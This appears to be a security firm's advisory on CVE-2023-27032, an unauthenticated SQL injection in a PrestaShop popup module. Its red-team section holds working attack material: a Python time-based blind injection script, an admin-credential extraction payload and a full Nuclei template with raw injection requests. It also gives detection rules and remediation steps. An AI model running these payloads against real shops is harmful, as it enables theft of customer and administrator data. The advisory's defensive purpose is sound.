CVE-2023-27032

Executive Summary

CVE-2023-27032 is a critical SQL injection vulnerability discovered in the PrestaShop module Advanced Popup Creator (advancedpopupcreator) by Idnovate. Versions 1.1.21 through 1.1.24 are affected. The flaw resides in the AdvancedPopup::getPopups() method, allowing unauthenticated attackers to inject arbitrary SQL commands via the availablePopups parameter. Successful exploitation can lead to full database compromise, including extraction of customer data, orders, payment information, and administrative credentials. The vulnerability is publicly documented with a functional Nuclei template, and proof-of-concept (PoC) code is available. No official patch has been released by the vendor; mitigation requires disabling or removing the module.

Supply Chain & Package Security

This vulnerability affects a third-party module distributed through the PrestaShop Addons marketplace. The module is not managed via standard package managers (NPM, PyPI, Go, Ruby), but its presence in a PrestaShop instance introduces a supply chain risk. Administrators should verify the integrity of all installed modules and monitor for updates from Idnovate.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• EPSS Score: 0.40807 (97.387th percentile) – High probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the AdvancedPopup::getPopups() method. The module fails to sanitize user-supplied input passed via the availablePopups POST parameter. An attacker can inject SQL statements that are executed against the PrestaShop database.

Root Cause: The availablePopups parameter is directly concatenated into a SQL query without proper parameterization or escaping.

Attack Vector: The vulnerable endpoint is /module/advancedpopupcreator/popup. The attacker sends a POST request with crafted payloads in the availablePopups parameter.

Exploitation Techniques:

• Time-Based Blind SQL Injection: Using SLEEP() functions to infer database structure.
• Boolean-Based Blind SQL Injection: Using conditional statements to extract data character by character.
• Error-Based SQL Injection: Potentially triggering database errors to leak information.

Impact: Full database compromise, including:

• Customer personally identifiable information (PII)
• Order details and payment data
• Admin credentials (hashed passwords)
• Configuration data

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In AdvancedPopup.php
public static function getPopups($availablePopups) {
    $sql = 'SELECT * FROM `'._DB_PREFIX_.'advancedpopupcreator_popup` WHERE id_popup IN ('.$availablePopups.')';
    return Db::getInstance()->executeS($sql);
}

Patched Code (Conceptual):

// In AdvancedPopup.php
public static function getPopups($availablePopups) {
    $ids = array_map('intval', explode(',', $availablePopups));
    $sql = 'SELECT * FROM `'._DB_PREFIX_.'advancedpopupcreator_popup` WHERE id_popup IN ('.implode(',', $ids).')';
    return Db::getInstance()->executeS($sql);
}

The patched version uses intval() to sanitize each ID, ensuring only numeric values are passed to the query.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A PrestaShop instance with Advanced Popup Creator v1.1.21-1.1.24 installed.
• Python 3 and requests library.

Exploitation Steps:

1. Extract CSRF Token and Time:

   curl -s http://target.com/ | grep -oP '"static_token":"([0-9a-z]+)"' | cut -d'"' -f4
   

2. Time-Based SQL Injection (Extract Database Version):

   import requests
   import re
   
   target = "http://target.com"
   session = requests.Session()
   
   # Get token and time
   r = session.get(target)
   token = re.search(r'"static_token":"([0-9a-z]+)"', r.text).group(1)
   time = re.search(r'"time":([0-9]+),', r.text).group(1)
   
   # Time-based payload to check if version is 5.7
   payload = "if((select substring(version(),1,3))='5.7',sleep(6),0)"
   data = {
       "availablePopups": payload,
       "event": "1",
       "fromController": "product",
       "getPopup": "1",
       "id_category": "0",
       "id_manufacturer": "0",
       "id_product": "1",
       "id_supplier": "0",
       "referrer": "",
       "responsiveWidth": "1280",
       "time": time,
       "token": token
   }
   r = session.post(f"{target}/module/advancedpopupcreator/popup", data=data, timeout=20)
   if r.elapsed.total_seconds() >= 6:
       print("Database version is 5.7")
   

3. Extract Admin Credentials:

   # Extract admin email (example)
   payload = "1 AND (SELECT IF(SUBSTRING(email,1,1)='a',SLEEP(6),0) FROM ps_employee LIMIT 1)"
   # Iterate through characters to extract full email
   

Nuclei Template Usage:

nuclei -t CVE-2023-27032.yaml -u http://target.com

Blue Team

Detection:

• Monitor for POST requests to /module/advancedpopupcreator/popup with unusual availablePopups parameters.
• Look for SQL keywords (SLEEP, UNION, SELECT, OR) in POST data.
• Alert on response times exceeding normal thresholds (e.g., >5 seconds).

Hunting:

• Search web server logs for POST /module/advancedpopupcreator/popup with non-numeric availablePopups values.
• Use the provided YARA and Sigma rules to scan for malicious payloads.

Containment:

• Immediately disable or uninstall the Advanced Popup Creator module.
• Block the endpoint /module/advancedpopupcreator/popup at the WAF or web server level.
• Rotate all database credentials and admin passwords.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /module/advancedpopupcreator/popup with availablePopups containing SQL keywords.
  • Unusually long response times (>5 seconds) from the same endpoint.
• File System:
  • Modified or new files in /modules/advancedpopupcreator/ directory.
• Database:
  • Suspicious entries in ps_employee or ps_customer tables.
  • Unauthorized queries in database logs.
• Logs:
  • Web server logs showing repeated POST requests to the vulnerable endpoint.
  • Database error logs containing SQL syntax errors.

Detection Engineering

YARA Rule

rule CVE_2023_27032_SQLi_AdvancedPopupCreator {
    meta:
        description = "Detects SQL injection attempts against PrestaShop Advanced Popup Creator module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27032"
        severity = "critical"

    strings:
        $s1 = "availablePopups=" nocase
        $s2 = "sleep(" nocase
        $s3 = "union select" nocase
        $s4 = "or 1=1" nocase
        $s5 = "from ps_" nocase

    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: SQL Injection Attempt Against PrestaShop Advanced Popup Creator
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting CVE-2023-27032
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27032
    - https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/module/advancedpopupcreator/popup'
        cs-uri-query|contains: 'availablePopups='
    keywords:
        - 'sleep('
        - 'union select'
        - 'or 1=1'
        - 'from ps_'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the module with numeric IDs only
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-27032 PrestaShop Advanced Popup Creator SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/module/advancedpopupcreator/popup"; http_uri;
    content:"availablePopups="; http_client_body;
    pcre:"/(sleep\(|union select|or \d+=\d+|from ps_)/i";
    reference:cve,2023-27032;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Nuclei Template (Full)

id: CVE-2023-27032

info:
  name: PrestaShop AdvancedPopupCreator - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    In the module "Advanced Popup Creator" (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database.
  remediation: |
    Upgrade to the latest version of the Advanced Popup Creator module from Idnovate that addresses this SQL injection vulnerability.
  reference:
    - https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html
    - https://addons.prestashop.com/en/pop-up/23773-popup-on-entry-exit-popup-add-product-and-newsletter.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27032
    cwe-id: CWE-89
    epss-score: 0.40807
    epss-percentile: 0.97387
    cpe: cpe:2.3:a:idnovate:popup_module_\(on_entering\,_exit_popup\,_add_product\)_and_newsletter:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: idnovate
    product: popup_module_\(on_entering\,_exit_popup\,_add_product\)_and_newsletter
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: time-based-sqli,cve,cve2023,sqli,prestashop,advancedpopupcreator,idnovate,vuln,vkev

flow: |
  http(1) && (http(2) || http(3))

http:
  - id: "extract_values"
    raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 5

    extractors:
      - type: regex
        name: time
        group: 1
        regex:
          - '"time":([0-9]+),'
        internal: true

      - type: regex
        name: token
        group: 1
        regex:
          - '"static_token":"([0-9a-z]+)",'
        internal: true

  - id: "time_based"
    raw:
      - |
        @timeout 20s
        POST /module/advancedpopupcreator/popup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        availablePopups=if(now()=sysdate()%2Csleep(6)%2C0)&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}}

      - |
        @timeout 20s
        POST /module/advancedpopupcreator/popup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fromController=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/&id_category=0&id_cms=1&id_manufacturer=0&id_product=0&id_supplier=0&referrer=1&responsiveWidth=1280&time={{time}}&token={{token}}&updateVisits=1&url=https%253A%252F%252F{{Hostname}}%252F

    stop-at-first-match: true
    matchers:
      - type: dsl
        name: time-based
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body,'hasError')
          - duration >= 6
        condition: and

  - id: "blind_based"
    raw:
      - |
        POST /module/advancedpopupcreator/popup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        availablePopups=-8514)%20OR%206158%3d6158--%20eKWg&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}}

      - |
        POST /module/advancedpopupcreator/popup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        availablePopups=-8514)%20OR%206158%3d6157--%20eKWg&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}}

    matchers:
      - type: dsl
        name: blind-based
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(response_1), "selector")'
          - '!contains(tolower(response_2), "selector")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Disable the module: In PrestaShop admin, go to Modules and disable "Advanced Popup Creator".
2. Block the endpoint: Add a rule to your web server or WAF to block POST requests to /module/advancedpopupcreator/popup.
3. Rotate credentials: Change all admin passwords and database credentials.
4. Audit database: Check for unauthorized changes or data exfiltration.

Long-Term Fix:

• Upgrade: If Idnovate releases a patched version (>1.1.24), upgrade immediately.
• Replace module: Consider using an alternative popup module that is actively maintained and secure.
• Code review: If you have access to the module source, apply input sanitization as shown in the patched code example.

Preventive Measures:

• Implement a Web Application Firewall (WAF) with SQL injection detection.
• Regularly update all PrestaShop modules and core.
• Conduct periodic security audits of third-party modules.
• Use parameterized queries in all custom module development.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 2C9585302F936445A865496E] */}